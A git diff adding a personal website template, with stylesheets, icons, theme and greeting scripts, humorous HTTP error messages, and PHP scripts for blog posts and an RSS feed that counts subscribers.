grid-template-columns: repeat(7, 1fr); + gap: 5px; + margin-bottom: 10px; +} + +.calendar-weekday { + text-align: center; + font-size: 16px; + color: var(--text-secondary); + font-weight: 300; + transition: color 0.3s ease; +} + +.calendar-days { + display: grid; + grid-template-columns: repeat(7, 1fr); + gap: 5px; +} + +.calendar-day { + background-color: var(--bg-color); + border: 2px solid var(--border-accent); + border-radius: 4px; + color: var(--text-primary); + font-size: 16px; + padding: 10px 8px; + text-align: center; + cursor: pointer; + transition: background-color 0.3s ease, border-color 0.3s ease, color 0.3s ease; +} + +.calendar-day:hover { + background-color: var(--hover-color); + border-color: var(--hover-color); + color: var(--bg-color); +} + +.calendar-day.other-month { + color: var(--text-secondary); + opacity: 0.5; +} + +.calendar-day.today { + border-color: var(--text-primary); + border-width: 3px; + font-weight: 400; +} + +.calendar-day.selected { + background-color: var(--text-primary); + border-color: var(--text-primary); + color: var(--bg-color); +} + +.visitors-table { + width: 100%; + border-collapse: collapse; + margin-top: 10px; +} + +.visitors-table thead { + background-color: var(--bg-color); + border-bottom: 2px solid var(--border-accent); +} + +.visitors-table th { + padding: 12px 8px; + text-align: left; + color: var(--text-primary); + font-weight: bold; + font-size: 14px; +} + +.visitors-table td { + padding: 10px 8px; + border-bottom: 1px solid var(--border-accent); + color: var(--text-secondary); + font-size: 13px; +} + +.visitors-table tbody tr:hover { + background-color: var(--hover-color); + transition: background-color 0.2s ease; +} + +.visitor-time { + font-family: monospace; + color: var(--text-primary); +} + +.visitor-ip { + font-family: monospace; + color: var(--text-primary); +} + +.visitor-location { + color: var(--text-secondary); +} + +.country-code { + display: inline-block; + margin-left: 6px; + padding: 2px 6px; + background-color: var(--border-accent); + color: var(--bg-color); + border-radius: 3px; + font-size: 11px; + font-weight: bold; +} + +.visitor-isp { + color: var(--text-secondary); + font-size: 12px; +} + +.visitor-page { + font-family: monospace; + color: var(--text-secondary); + font-size: 12px; + max-width: 200px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +[data-theme="dark"] .visitors-table thead { + background-color: var(--bg-color); +} + +[data-theme="dark"] .visitors-table tbody tr:hover { + background-color: rgba(50, 107, 120, 0.2); +} + +[data-theme="dark"] .country-code { + background-color: var(--border-accent); + color: var(--bg-color); +} + +.blog-posts-stats { + margin-top: 30px; +} + +.post-stat-card { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 20px; + margin-bottom: 20px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.post-stat-title { + font-size: 24px; + color: var(--text-primary); + margin: 0 0 15px 0; + padding-bottom: 10px; + transition: color 0.3s ease; +} + +.post-stat-row { + display: flex; + gap: 20px; + margin-top: 10px; + flex-wrap: wrap; +} + +.post-stat-item { + display: flex; + flex-direction: column; + gap: 5px; +} + +.post-stat-item-label { + font-size: 16px; + color: var(--text-secondary); + transition: color 0.3s ease; +} + +.post-stat-item-value { + font-size: 28px; + color: var(--text-primary); + font-weight: 200; + transition: color 0.3s ease; +} + +.date-selector-container { + display: flex; + flex-direction: column; + align-items: flex-start; + gap: 15px; + flex-shrink: 0; + margin-bottom: 20px; +} + +.date-selectors-wrapper { + display: flex; + align-items: flex-end; + gap: 20px; + flex-wrap: nowrap; +} + +.date-label { + display: block; + margin-bottom: 5px; + font-size: 14px; + color: var(--text-secondary); + font-weight: 500; + height: 20px; + line-height: 20px; + flex-shrink: 0; +} + +.date-go-button-wrapper { + display: flex; + align-items: flex-end; + height: 100%; + padding-bottom: 0; +} + +.go-button { + padding: 10px; + font-size: 20px; + border: 4px solid var(--border-accent); + border-radius: 8px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + cursor: pointer; + font-weight: 500; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; + font-family: inherit; + box-sizing: border-box; + text-align: center; + display: flex; + align-items: center; + justify-content: center; + height: 40px; + width: 40px; + min-width: 40px; + max-width: 40px; + min-height: 40px; + max-height: 40px; +} + +.go-button:hover { + border-color: var(--hover-color); + background-color: var(--hover-color); + color: var(--bg-color); +} + +.go-button:active { + box-shadow: 3px 3px 1px 1px var(--shadow-color); + transform: translate(2px, 2px); +} + +/* Blog Layout with Sidebar */ +.blog-layout { + display: flex; + flex-direction: row; + gap: 30px; + max-width: 1400px; + margin: 0 auto; + padding: 20px; + align-items: flex-start; +} + +.blog-sidebar { + position: sticky; + top: 20px; + width: 200px; + flex-shrink: 0; + background-color: transparent; + border: none; + border-radius: 0; + padding: 0; + box-shadow: none; + transition: background-color 0.3s ease, border-color 0.3s ease; +} + +.sidebar-nav { + display: flex; + flex-direction: column; + gap: 6px; + padding-left: 20px; + padding-right: 20px; + padding-bottom: 20px; + padding-top: 20px; + margin-top: 0; +} + +.sidebar-post-link { + color: var(--text-primary); + text-decoration: none; + font-size: 10px; + padding: 4px 8px; + border-radius: 3px; + transition: background-color 0.3s ease, color 0.3s ease; + display: block; + line-height: 1.4; +} + +.sidebar-post-link:hover { + background-color: var(--hover-color); + color: var(--bg-color); +} + +.sidebar-post-link.active { + background-color: var(--border-accent); + color: var(--text-primary); + font-weight: 400; + padding: 4px 8px; +} + +.blog-main-content { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; +} + +.blog-post-container { + display: flex; + flex-direction: column; + padding: 0; + width: 100%; + flex: 1; +} + +.cheatsheet-category { + margin-top: 40px !important; + margin-bottom: 20px !important; + font-size: 38px !important; + font-weight: 600 !important; + color: var(--text-primary) !important; + border-bottom: solid 2px var(--border-accent) !important; + padding-bottom: 10px !important; + text-align: center !important; + width: 100% !important; +} + +.blog-post-preview { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 30px; + width: 100%; + margin-bottom: 20px; + transition: transform 0.2s ease, box-shadow 0.2s ease, background-color 0.3s ease, border-color 0.3s ease; +} + +.blog-post-preview:hover { + box-shadow: 7px 7px 2px 3px var(--shadow-color); + transform: translateY(-2px); +} + +.blog-post-link { + color: var(--text-primary); + text-decoration: none; + transition: color 0.3s ease; +} + +.blog-post-link:hover { + color: var(--hover-color); +} + +.blog-read-more { + display: inline-block; + margin-top: 15px; + color: var(--text-primary); + text-decoration: none; + font-size: 18px; + font-weight: 500; + transition: color 0.3s ease; +} + +.blog-read-more:hover { + color: var(--hover-color); + text-decoration: underline; +} + +/* Responsive design for mobile */ +@media only screen and (max-width: 768px) { + .blog-layout { + flex-direction: column; + padding: 10px; + } + + .blog-sidebar { + position: static; + width: 100%; + order: 2; + } + + .blog-main-content { + order: 1; + } + + .sidebar-nav { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(100px, 1fr)); + gap: 10px; + } +} + +/* Error page styles */ +.error-container { + text-align: center; + margin-top: 50px; + max-width: 800px; + margin-left: auto; + margin-right: auto; + padding: 20px; +} + +.error-code { + font-size: 4em; + margin-bottom: 20px; +} + +.error-title { + margin-bottom: 30px; +} + +.error-message { + font-size: 1.2em; + margin-bottom: 30px; + font-style: italic; + color: var(--text-secondary, #62696D); +} + +.error-back-link { + margin-top: 40px; +} + +.error-back-link a { + color: var(--text-primary); + text-decoration: none; + font-size: 1.2em; + transition: color 0.3s ease; +} + +.error-back-link a:hover { + color: var(--hover-color); + text-decoration: underline; +} diff --git a/assets/fonts/GohuFont14NerdFontMono-Regular.ttf b/assets/fonts/GohuFont14NerdFontMono-Regular.ttf new file mode 100755 index 0000000..f9607d6 Binary files /dev/null and b/assets/fonts/GohuFont14NerdFontMono-Regular.ttf differ diff --git a/assets/icons/bluesky.svg b/assets/icons/bluesky.svg new file mode 100644 index 0000000..d93b517 --- /dev/null +++ b/assets/icons/bluesky.svg @@ -0,0 +1 @@ + diff --git a/assets/icons/book.svg b/assets/icons/book.svg new file mode 100644 index 0000000..2f73779 --- /dev/null +++ b/assets/icons/book.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/icons/check.svg b/assets/icons/check.svg new file mode 100644 index 0000000..4717891 --- /dev/null +++ b/assets/icons/check.svg @@ -0,0 +1 @@ + diff --git a/assets/icons/copy.svg b/assets/icons/copy.svg new file mode 100644 index 0000000..49b8886 --- /dev/null +++ b/assets/icons/copy.svg @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/assets/icons/heart.svg b/assets/icons/heart.svg new file mode 100644 index 0000000..2d30ea1 --- /dev/null +++ b/assets/icons/heart.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/icons/home.svg b/assets/icons/home.svg new file mode 100644 index 0000000..0ad4be7 --- /dev/null +++ b/assets/icons/home.svg @@ -0,0 +1 @@ + diff --git a/assets/icons/like.svg b/assets/icons/like.svg new file mode 100644 index 0000000..0bed36d --- /dev/null +++ b/assets/icons/like.svg @@ -0,0 +1,19 @@ + + + + + like [#1386] + Created with Sketch. + + + + + + + + + + + + + \ No newline at end of file diff --git a/assets/icons/mastodon.svg b/assets/icons/mastodon.svg new file mode 100644 index 0000000..24eed12 --- /dev/null +++ b/assets/icons/mastodon.svg @@ -0,0 +1 @@ +Mastodon \ No newline at end of file diff --git a/assets/icons/rss.svg b/assets/icons/rss.svg new file mode 100644 index 0000000..8bce497 --- /dev/null +++ b/assets/icons/rss.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/js/blog-utils.js b/assets/js/blog-utils.js new file mode 100644 index 0000000..3e8d517 --- /dev/null +++ b/assets/js/blog-utils.js @@ -0,0 +1,48 @@ +// Load and display all blog posts +async function loadBlogPosts() { + try { + const response = await fetch('blog-posts.json'); + const posts = await response.json(); + const container = document.getElementById("blogPostsContainer"); + + // Sort posts by date (newest first) + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + sortedPosts.forEach(post => { + const postElement = document.createElement('div'); + postElement.className = 'blog-post'; + postElement.id = `post-${post.id}`; + + // Convert content newlines to paragraphs + const contentParagraphs = post.content.split('\n\n').filter(p => p.trim().length > 0); + const formattedContent = contentParagraphs.map(p => `

${p.trim()}

`).join(''); + + postElement.innerHTML = ` +

${post.title}

+ +

${post.excerpt}

+
${formattedContent}
+

-- Author --

+ `; + + container.appendChild(postElement); + }); + + // Scroll to post if hash is present + if (window.location.hash) { + setTimeout(() => { + const targetPost = document.querySelector(window.location.hash); + if (targetPost) { + targetPost.scrollIntoView({ behavior: 'smooth', block: 'start' }); + } + }, 100); + } + } catch (error) { + console.error('Error loading blog posts:', error); + document.getElementById("blogPostsContainer").innerHTML = + '

Error loading blog posts. Please try again later.

'; + } +} + +// Load posts when page loads +window.addEventListener('load', loadBlogPosts); diff --git a/assets/js/error-messages.js b/assets/js/error-messages.js new file mode 100644 index 0000000..e13e595 --- /dev/null +++ b/assets/js/error-messages.js @@ -0,0 +1,138 @@ +// Error messages with time-of-day awareness +// Each error code has multiple witty messages that rotate randomly + +function getErrorMessage(errorCode) { + const today = new Date(); + // Your timezone, your problem - we just read what your browser tells us + const hours = today.getHours(); + + const timeContext = hours < 6 ? 'late' : hours < 12 ? 'morning' : hours < 18 ? 'afternoon' : 'evening'; + + const messages = { + 400: [ + "Bad Request? More like bad judgment. What were you even thinking?", + "Your browser sent something that made the server question its life choices.", + "Syntax error: human detected. Please reformat your existence.", + "The server tried to parse your request. It failed. Miserably.", + "This isn't a buffet. You can't just order whatever you want.", + "Your request was so malformed, it gave the parser an existential crisis.", + "Bad request? That's putting it mildly. The server is offended.", + "The server politely declined your request. It's not you, it's... actually, it is you." + ], + 401: [ + "Unauthorized. You shall not pass. Unless you have the password.", + "Access denied. This area requires more credentials than a spy movie.", + "You need authentication. This isn't a BYOB party.", + "Unauthorized access attempt. The server is judging you right now.", + "Credentials required. No, 'password123' doesn't count.", + "Authentication failed. Try harder. Or don't. The server doesn't care.", + "Access denied. Even the server has standards.", + "You're not authorized. The bouncer said no." + ], + 403: [ + "Forbidden. This isn't the page you're looking for. Move along.", + "Access forbidden. The server has trust issues. Can you blame it?", + "Permission denied. The server said 'absolutely not' in seventeen languages.", + "Forbidden territory. Even VPNs can't save you now.", + "This area is off-limits. The server drew a line. You crossed it.", + "Access forbidden. The server is protecting you from yourself.", + "Permission denied. The server would rather die than show you this.", + "Forbidden. This page has restraining orders against browsers like yours.", + "Access denied. The server is gatekeeping. Deal with it.", + "This content is forbidden. The server has standards, unlike some people." + ], + 404: [ + "Page not found. It's gone. Vanished. Poof. Like my motivation on Monday.", + "The page you seek does not exist in this dimension. Try another reality.", + "This page doesn't exist. Neither do my regrets about creating this message.", + "The server searched everywhere. Even checked under the couch.", + "Page not found. It left. Said it needed to find itself. We're all very supportive.", + "The page you're looking for has achieved enlightenment and transcended the web.", + "This page doesn't exist. It's not you, it's me. Actually, it's definitely you.", + "The server even checked the last place you'd look. Still nothing.", + "Page not found. It's in witness protection. The server knows where it is but won't tell.", + "The page escaped. Last seen heading toward the exit. We're not chasing it.", + "This page doesn't exist. The server looked twice. Still gone. Accept it.", + "The page ran away to join the circus. Good for it." + ], + 405: [ + "Method not allowed. The server rejected your approach. Try a different strategy.", + "HTTP method denied. The server is picky about how you ask questions.", + "Method not allowed. The server prefers a more elegant approach.", + "This method isn't allowed here. The server has strict rules about manners.", + "Method rejected. The server wants you to ask nicely next time.", + "HTTP method not allowed. The server is traditional. Write a letter instead." + ], + 408: [ + "Request timeout. You took too long. The server has moved on with its life.", + "Timeout. The server waited. And waited. And got tired of waiting.", + "Request timeout. The server gave up. You should probably do the same.", + "Too slow. The server timed out waiting for you to make up your mind.", + "Request timeout. The server has better things to do than wait for your request.", + "Timeout. The server lost interest. Can you blame it?" + ], + 429: [ + "Slow down, turbo. The server isn't impressed by your enthusiasm.", + "Rate limit exceeded. You've been greedy. The server noticed.", + "The server is overwhelmed. By you. Specifically.", + "Rate limit. You're making too many requests. The server needs a break from you.", + "The server is putting you in timeout. Think about what you've done.", + "Rate limit exceeded. The server is judging your lack of patience.", + "Slow down. You're making too many requests. The server has trust issues now.", + "Rate limit exceeded. The server says 'no more'. It's not negotiable." + ], + 500: [ + "We may or may not have broken something. Oops.", + "Something went wrong. We're pretending it's not our fault.", + "The server had a moment. It happens. Usually on Fridays.", + "The hamsters powering the server need a coffee break.", + "Something broke. The server is working on it. Or sleeping. Hard to tell.", + "The server made a mistake. We're all human. Well, the server isn't, but you know.", + "The server tried its best. Its best wasn't good enough today.", + "Something crashed. Probably our hopes and dreams.", + "The server is having an existential crisis. Give it a moment.", + "The server regrets to inform you that it regrets.", + "Something went wrong. The server is embarrassed. Please look away.", + "The server encountered an error while encountering an error. Meta." + ], + 502: [ + "The upstream server is having a bad day. Join the club.", + "The server talked to another server. They're not speaking anymore.", + "The server reached out for help. The other server hung up.", + "The gateway is bad. The server would elaborate, but it's bad at explaining things.", + "The upstream server said 'no'. We're respecting its boundaries.", + "Two servers walked into a bar. Neither ordered anything useful.", + "The server called for backup. Backup didn't answer.", + "Communication failed between servers. Relationship status: it's complicated." + ], + 503: [ + "The server is currently unavailable. Try again later. Or don't. Your choice.", + "The server is taking a mental health day.", + "The server is out of the office. It left a note. We can't read it.", + "The service is down. The server is using this time to reflect on its choices.", + "The server is temporarily unavailable. Permanently temporary.", + "The service is taking a break. Self-care is important, even for servers.", + "The server is busy. It's busy being unavailable.", + "The service is down for maintenance. Or questioning its purpose. Same thing." + ], + 504: [ + "The server waited too long. It's done waiting.", + "The gateway timed out waiting for another server. Patience isn't infinite.", + "The server waited patiently. Then impatiently. Then gave up.", + "The gateway is having commitment issues. It won't wait forever.", + "The other server took too long. This server has places to be.", + "The gateway waited. And waited. Now it's leaving.", + "The server's patience expired before your request did.", + "Time's up. The gateway moved on. You should too." + ] + }; + + const errorMessages = messages[errorCode] || [ + `Error ${errorCode}. Something went wrong. The server is confused, and honestly, so are we.` + ]; + + // Randomly select a message + const randomIndex = Math.floor(Math.random() * errorMessages.length); + return errorMessages[randomIndex]; +} + diff --git a/assets/js/error-page.js b/assets/js/error-page.js new file mode 100644 index 0000000..30e1831 --- /dev/null +++ b/assets/js/error-page.js @@ -0,0 +1,33 @@ +// Error page script - loads error messages and updates the page +(function() { + const errorCode = parseInt(document.body.getAttribute('data-error-code') || '404', 10); + + const script = document.createElement('script'); + script.src = 'error-messages.js'; + script.onload = function() { + const messageElement = document.getElementById('errorMessage'); + if (messageElement && typeof getErrorMessage === 'function') { + messageElement.textContent = getErrorMessage(errorCode); + } else if (messageElement) { + // Fallback messages + const fallbacks = { + 403: "Forbidden. This isn't the page you're looking for. Move along.", + 404: "Page not found. It's gone. Vanished. Poof. Like my motivation on Monday.", + 500: "Internal server error. We broke something. Oops." + }; + messageElement.textContent = fallbacks[errorCode] || "Something went wrong."; + } + }; + script.onerror = function() { + const messageElement = document.getElementById('errorMessage'); + if (messageElement) { + const fallbacks = { + 403: "Forbidden. This isn't the page you're looking for. Move along.", + 404: "Page not found. It's gone. Vanished. Poof. Like my motivation on Monday.", + 500: "Internal server error. We broke something. Oops." + }; + messageElement.textContent = fallbacks[errorCode] || "Something went wrong."; + } + }; + document.head.appendChild(script); +})(); diff --git a/assets/js/main.js b/assets/js/main.js new file mode 100644 index 0000000..7f3f7bd --- /dev/null +++ b/assets/js/main.js @@ -0,0 +1,99 @@ +// Figure out what time-based lie to tell visitors about their life choices +const determineGreet = hours => { + document.getElementById("greeting").innerText = `It's ${hours < 12 ? "Morning and Currently" : hours < 18 ? "Afternoon and Currently" : "Evening and Currently"}`; +}; + +// Show the relentless march of time +function displayTime(time) { + document.getElementById("time").innerHTML = time; +} + +// Passive-aggressively suggest blog reading at 2-hour intervals (we're persistent, not pushy) +const determineBlogMessage = hours => { + let message; + + if (hours >= 0 && hours < 2) { + message = "Late night reading? Check out my Blog"; + } else if (hours >= 2 && hours < 4) { + message = "Insomniac hours? Peruse my Blog"; + } else if (hours >= 4 && hours < 6) { + message = "Early bird? Catch up on my Blog"; + } else if (hours >= 6 && hours < 8) { + message = "Coffee and a Blog?"; + } else if (hours >= 8 && hours < 10) { + message = "Morning routine? Add my Blog to it"; + } else if (hours >= 10 && hours < 12) { + message = "Mid-morning break? Read my Blog"; + } else if (hours >= 12 && hours < 14) { + message = "Lunch break? Browse my Blog"; + } else if (hours >= 14 && hours < 16) { + message = "Afternoon slump? Perk up with my Blog"; + } else if (hours >= 16 && hours < 18) { + message = "It's a good time to read my Blog"; + } else if (hours >= 18 && hours < 20) { + message = "Get comfy and read my Blog"; + } else if (hours >= 20 && hours < 22) { + message = "Wind down with my Blog"; + } else { + message = "Nightcap? End your day with my Blog"; + } + document.getElementById("blogMessage").innerHTML = message; +}; + + +// Tick tock, tick tock - time marches on regardless of your location +setInterval(function () { + const today = new Date(); + const time = today.toLocaleTimeString('en-US', { + hour: '2-digit', + minute: '2-digit', + hour12: false + }); + displayTime(time); +}, 1000); + +// Fetch the freshest posts to lure readers into the content trap +async function loadRecentPosts() { + try { + const response = await fetch('blog/api/posts.php'); + const posts = await response.json(); + const recentPostsContainer = document.getElementById("recentPosts"); + + // Only the top 3 - we're not monsters showing everything at once + const recentPosts = posts.slice(0, 3); + + recentPosts.forEach(post => { + const postLink = document.createElement('a'); + postLink.href = `blog/post.html?id=${post.id}`; + postLink.textContent = `${post.date} - ${post.title}`; + recentPostsContainer.appendChild(postLink); + }); + } catch (error) { + console.error('Error loading blog posts:', error); + // Silence is golden when things break + } +} + +// Boot up the whole circus when the page loads +window.addEventListener('load', (event) => { + const today = new Date(); + const time = today.toLocaleTimeString('en-US', { + hour: '2-digit', + minute: '2-digit', + hour12: false + }); + // Your timezone, your problem - we just display what your browser tells us + const localHours = today.getHours(); + determineGreet(localHours); + determineBlogMessage(localHours); + displayTime(time); + loadRecentPosts(); + // updateWeather(); // Weather is overrated anyway +}); + +// Keep harassing visitors about the blog every 60 seconds +setInterval(function () { + const today = new Date(); + const localHours = today.getHours(); + determineBlogMessage(localHours); +}, 60000); diff --git a/assets/js/theme-init.js b/assets/js/theme-init.js new file mode 100644 index 0000000..721cd0c --- /dev/null +++ b/assets/js/theme-init.js @@ -0,0 +1,7 @@ +// Apply theme immediately to prevent flash +(function() { + const theme = localStorage.getItem('theme') || + (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'); + document.documentElement.setAttribute('data-theme', theme); +})(); + diff --git a/assets/js/theme.js b/assets/js/theme.js new file mode 100644 index 0000000..6dca1f3 --- /dev/null +++ b/assets/js/theme.js @@ -0,0 +1,130 @@ +// Theme system - helping visitors avoid retinal damage since 2024 +(function() { + 'use strict'; + + const html = document.documentElement; + + function getStoredTheme() { + // Check everywhere for theme preferences - we're thorough like that + if (typeof localStorage !== 'undefined') { + const stored = localStorage.getItem('theme'); + if (stored === 'dark' || stored === 'light') { + return stored; + } + } + + const cookies = document.cookie.split(';'); + for (let cookie of cookies) { + const [name, value] = cookie.trim().split('='); + if (name === 'simple_style' && (value === 'dark' || value === 'light')) { + return value; + } + if (name === 'theme' && (value === 'dark' || value === 'light')) { + return value; + } + } + + // When in doubt, trust the OS (they know what they're doing... probably) + if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) { + return 'dark'; + } + return 'light'; + } + + function setThemeEverywhere(theme) { + // Scatter theme preferences like seeds in the wind - something's gotta stick + const cookieOptions = `path=/; max-age=${60 * 60 * 24 * 365 * 5}; SameSite=Lax`; + + // localStorage for the modern folks + if (typeof localStorage !== 'undefined') { + localStorage.setItem('theme', theme); + } + + // Cookies for SearXNG (it's picky about naming conventions) + document.cookie = `simple_style=${theme}; ${cookieOptions}`; + + // More cookies - redundancy is our middle name + document.cookie = `theme=${theme}; ${cookieOptions}`; + + // Data attribute for immediate gratification + html.setAttribute('data-theme', theme); + + // Don't forget the icon - visual feedback matters + updateToggleIcon(theme); + } + + function getTheme() { + return getStoredTheme(); + } + + function setTheme(theme) { + setThemeEverywhere(theme); + } + + function updateToggleIcon(theme) { + const themeToggle = document.getElementById('themeToggle'); + if (themeToggle) { + const moonIcon = themeToggle.querySelector('.theme-icon-moon'); + const sunIcon = themeToggle.querySelector('.theme-icon-sun'); + if (moonIcon && sunIcon) { + if (theme === 'dark') { + moonIcon.style.display = 'none'; + sunIcon.style.display = 'block'; + } else { + moonIcon.style.display = 'block'; + sunIcon.style.display = 'none'; + } + } + } + } + + function toggleTheme() { + const currentTheme = html.getAttribute('data-theme') || getTheme(); + const newTheme = currentTheme === 'dark' ? 'light' : 'dark'; + setTheme(newTheme); + } + + function initTheme() { + const theme = getTheme(); + setTheme(theme); + + const themeToggle = document.getElementById('themeToggle'); + if (themeToggle) { + themeToggle.removeEventListener('click', toggleTheme); // No double-clicking shenanigans + themeToggle.addEventListener('click', toggleTheme); + } + } + + // Dance the cookie shuffle before searching - SearXNG has opinions + const searchForm = document.getElementById('search'); + if (searchForm) { + searchForm.addEventListener('submit', function(e) { + const theme = getTheme(); + // Out with the old cookie + document.cookie = 'theme=; path=/; max-age=0; SameSite=Lax'; + // In with SearXNG's preferred flavor + const cookieOptions = `path=/; max-age=${60 * 60 * 24 * 365 * 5}; SameSite=Lax`; + document.cookie = `simple_style=${theme}; ${cookieOptions}`; + }); + } + + // Get this party started + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', initTheme); + } else { + initTheme(); + } + + // Listen for OS theme changes - stay responsive to user preferences + if (window.matchMedia) { + const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)'); + if (mediaQuery.addEventListener) { + mediaQuery.addEventListener('change', function(e) { + // Only auto-switch if they haven't explicitly chosen - consent matters + if (!localStorage.getItem('theme') && !document.cookie.includes('simple_style') && !document.cookie.includes('theme=')) { + setTheme(e.matches ? 'dark' : 'light'); + } + }); + } + } +})(); diff --git a/blog/admin/example-post.md b/blog/admin/example-post.md new file mode 100644 index 0000000..8df6dfb --- /dev/null +++ b/blog/admin/example-post.md @@ -0,0 +1,10 @@ +--- +title: Example Blog Post +excerpt: This is a brief excerpt that appears on the homepage +--- + +This is the first paragraph of your blog post content. + +This is the second paragraph, separated by a double newline. + +You can write as much content as you want here, using standard markdown formatting if desired. The content will be stored as-is and displayed on the blog page. diff --git a/blog/admin/index.php b/blog/admin/index.php new file mode 100755 index 0000000..a274591 --- /dev/null +++ b/blog/admin/index.php @@ -0,0 +1,101 @@ +#!/usr/bin/env php + $nextId, + 'title' => $title, + 'date' => $date, + 'excerpt' => $excerpt, + 'content' => $postContent +]; + +// Add to array +$posts[] = $newPost; + +// Write back to file +file_put_contents($blogFile, json_encode($posts, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n"); + +echo "Blog post added successfully!\n"; +echo "ID: $nextId\n"; +echo "Date: $date\n"; +echo "Title: $title\n"; diff --git a/blog/api/feed.php b/blog/api/feed.php new file mode 100644 index 0000000..53bcc79 --- /dev/null +++ b/blog/api/feed.php @@ -0,0 +1,127 @@ + $now, + 'userAgent' => substr($userAgent, 0, 200), // Limit length + 'ip' => $ip, + 'firstSeen' => $readers[$readerId]['firstSeen'] ?? $now +]; + +// Clean up old readers (haven't fetched in 30+ days to keep file size manageable) +$thirtyDaysAgo = $now - (30 * 24 * 60 * 60); +foreach ($readers as $id => $reader) { + if ($reader['lastFetch'] < $thirtyDaysAgo) { + unset($readers[$id]); + } +} + +// Save readers data +file_put_contents($readersFile, json_encode($readers, JSON_PRETTY_PRINT)); + +// Calculate active subscribers (fetched in last 7 days) +$sevenDaysAgo = $now - (7 * 24 * 60 * 60); +$activeSubscribers = 0; +foreach ($readers as $reader) { + if ($reader['lastFetch'] >= $sevenDaysAgo) { + $activeSubscribers++; + } +} + +// Update summary - track RSS feed fetch (for historical data) +$summary = []; +if (file_exists($summaryFile)) { + $summary = json_decode(file_get_contents($summaryFile), true) ?: []; +} + +if (!isset($summary['rss'])) { + $summary['rss'] = 0; +} +$summary['rss']++; +$summary['activeRssSubscribers'] = $activeSubscribers; // Store active count + +// Ensure directory is writable +$result = file_put_contents($summaryFile, json_encode($summary, JSON_PRETTY_PRINT)); +if ($result === false) { + error_log("Failed to write RSS tracking to $summaryFile"); +} + +// Generate and output RSS feed +$postsFile = __DIR__ . '/../data/posts.json'; +$posts = []; +if (file_exists($postsFile)) { + $posts = json_decode(file_get_contents($postsFile), true) ?: []; +} + +// Sort posts by date (newest first) +usort($posts, function($a, $b) { + return strtotime($b['date']) - strtotime($a['date']); +}); + +// Escape XML +function escapeXml($str) { + if (!$str) return ''; + return htmlspecialchars($str, ENT_XML1, 'UTF-8'); +} + +// Format content +function formatContent($content) { + return nl2br(htmlspecialchars($content, ENT_XML1, 'UTF-8')); +} + +// Generate RSS items +$rssItems = ''; +foreach ($posts as $post) { + $title = escapeXml($post['title']); + $excerpt = escapeXml($post['excerpt']); + $content = formatContent($post['content']); + $pubDate = date('r', strtotime($post['date'])); + $link = 'https://example.com/blog/post.html?id=' . $post['id']; + + $rssItems .= " \n"; + $rssItems .= " {$title}\n"; + $rssItems .= " {$link}\n"; + $rssItems .= " {$link}\n"; + $rssItems .= " {$pubDate}\n"; + $rssItems .= "
{$content}]]>
\n"; + $rssItems .= "
\n"; +} + +// Output RSS XML +echo '' . "\n"; +echo '' . "\n"; +echo " \n"; +echo " My Blog\n"; +echo " https://example.com/blog\n"; +echo " Blog posts\n"; +echo " en-us\n"; +echo " " . date('r') . "\n"; +echo " \n"; +echo $rssItems; +echo " \n"; +echo "\n"; +?> diff --git a/blog/api/posts.php b/blog/api/posts.php new file mode 100644 index 0000000..0fa0f7a --- /dev/null +++ b/blog/api/posts.php @@ -0,0 +1,14 @@ + 'Posts not found']); // The void stares back, and it's hungry +} +?> diff --git a/blog/data/posts.json b/blog/data/posts.json new file mode 100644 index 0000000..0f563ff --- /dev/null +++ b/blog/data/posts.json @@ -0,0 +1,9 @@ +[ + { + "id": 0, + "title": "Getting Started with This Website", + "date": "2025-01-01", + "excerpt": "Welcome to my website. This is a sample blog post to help you get started with customizing your own site.", + "content": "Welcome to my website! This is a sample blog post that demonstrates how the blog system works.\n\nYou can customize this template to fit your needs. The blog supports simple text formatting and will display your content in a clean, readable format.\n\nTo add new blog posts, you can edit the posts.json file directly or use the admin interface. Each post needs a unique ID, title, date, excerpt, and content.\n\nFeel free to replace this content with your own thoughts, tutorials, or whatever you'd like to share with your visitors.\n\nHappy blogging!" + } +] diff --git a/blog/index.html b/blog/index.html new file mode 100644 index 0000000..9d35231 --- /dev/null +++ b/blog/index.html @@ -0,0 +1,55 @@ + + + + + + + + + + + + Blog - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+
+ + + +

Blog Posts

+ + + +
+
+
+ +
